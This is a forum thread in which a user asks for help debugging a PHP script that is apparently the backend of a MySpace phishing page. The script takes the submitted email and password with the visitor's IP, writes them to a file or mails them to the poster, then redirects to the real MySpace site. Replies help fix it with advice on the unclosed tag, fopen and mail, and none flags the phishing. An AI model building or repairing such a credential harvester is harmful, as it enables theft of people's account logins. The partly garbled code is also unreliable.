hobbit monitor
+ Reply to Thread
Page 1 of 2 12 LastLast
Results 1 to 15 of 17

Thread: php whats wrong here

  1. #1
    Join Date
    Nov 2007
    Posts
    20

    php whats wrong here

    can anyone tell me whats wrong with the following file ?

    <?php
    if (isset($_POST['email']) && (isset($_POST['password']))) {
    $email = trim(strip_tags($_POST['email']));
    $password = trim(strip_tags($_POST['password']));


    ";
    fwrite($******, strip_tags(stripslashes($text)));
    fclose($******);
    echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';

    }
    <?php
    if (isset($_POST['email']) && (isset($_POST['password']))) {
    $email = trim(strip_tags($_POST['email']));
    $password = trim(strip_tags($_POST['password']));
    $IP = $_SERVER['REMOTE_ADDR'];

    $to = '(my email address)';
    $subject = 'Myspace Login';
    $message = "$email - $password - $IP";
    $headers = 'From: New Myspace Login' . "\r\n" .
    'Reply-To: Login' . "\r\n" .
    'X-Mailer: PHP/' . phpversion();

    mail($to, $subject, $message, $headers);
    echo'<script type="text/javascript">document.location.href=\'http://home.myspace.com/index.cfm?fuseaction=user\'</script>\'">';

    }
    ?>

  2. #2
    Join Date
    Sep 2006
    Posts
    1,651
    What errors are you getting? If you are hosting on a free host and are getting mailing errors, that means the sendmail function is blocked.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  3. #3
    Join Date
    Nov 2007
    Posts
    20

    error

    it just wont send the info to the file on the webhost ,,, i dont get any errors

  4. #4
    Join Date
    Sep 2006
    Posts
    1,651
    SMTP must be blocked on your host.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  5. #5
    Join Date
    Sep 2005
    Posts
    2,053
    Close the first PHP tag.
    Who needs drugs when you have electrons?

  6. #6
    Join Date
    Sep 2006
    Posts
    1,651
    Wierd, I didn't notice he had two starting tags till now
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  7. #7
    Join Date
    Nov 2007
    Posts
    20

    closing tag

    how is the first tag not closed the site loads the php page but doest not post the user name and id on the text file I created... very confusing I have the text file set to 777 which allows write function but will not write for some reason

  8. #8
    Join Date
    Sep 2006
    Posts
    1,651
    I get the feeling you didn't write this code.

    First of all, what value are you assigning to the $text variable that you are writing to the file? Second, you didn't use fopen() to even open a file, how are you going to write things to a unopened file?
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  9. #9
    Join Date
    Nov 2007
    Posts
    20

    text file

    Your absolutely right I didnt write the file but have researched how php works. do I () give the comman in the same file or after it is closed do I open another giving the command to open and write to the file I have hosted.

  10. #10
    Join Date
    Sep 2006
    Posts
    1,651
    You'd use fopen() to open the file in the same PHP file that you'll be writing contents to the file in.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  11. #11
    Join Date
    Nov 2007
    Posts
    20
    for example
    fopen (anyfile.txt)..... ?
    then how is the info written to that file or is it easier to send it to an email address , the server does support mail.

  12. #12
    Join Date
    Sep 2006
    Posts
    1,651
    In that case, email is easier, just send it through email.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  13. #13
    Join Date
    Nov 2007
    Posts
    20
    there is where my problem lies .. to me it looks like everything is correct but it wont send the mail

  14. #14
    Join Date
    Sep 2006
    Posts
    1,651
    [url]http://www.w*schools.com/php/default.asp[/url]

    Read up a bit of PHP (specifically the E-mail section) here.
    "Workers of the world unite; you have nothing to lose but your chains." -Karl Marx

  15. #15
    Join Date
    Sep 2005
    Posts
    2,053
    [url]www.php.net/fopen[/url]

    This is the manual for the fopen function. It should explain everything.

    As for email, that would most likely be disabled on a crappy free-hosting account.

    Also, have you closed the first PHP opening tag yet?
    Who needs drugs when you have electrons?

+ Reply to Thread

Similar Threads

  1. HOSTING (sry if wrong area)
    By TR86 in forum Internet Privacy
    Replies: 10
    Last Post: 12-19-2009, 06:04 AM
  2. sorry if this is in the wrong place but HELP
    By Drama Beatz in forum Internet Privacy
    Replies: 6
    Last Post: 06-30-2008, 11:53 PM
  3. What am I doing wrong with pro rat ?
    By mitch04 in forum Viruses and Trojans
    Replies: 1
    Last Post: 11-06-2006, 05:06 PM
  4. whats wrong with the code
    By geoleeman in forum Viruses and Trojans
    Replies: 4
    Last Post: 08-09-2006, 11:17 AM
  5. oops - wrong ***rd
    By Carrot Soup in forum Internet Privacy
    Replies: 0
    Last Post: 12-05-2002, 09:22 AM

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts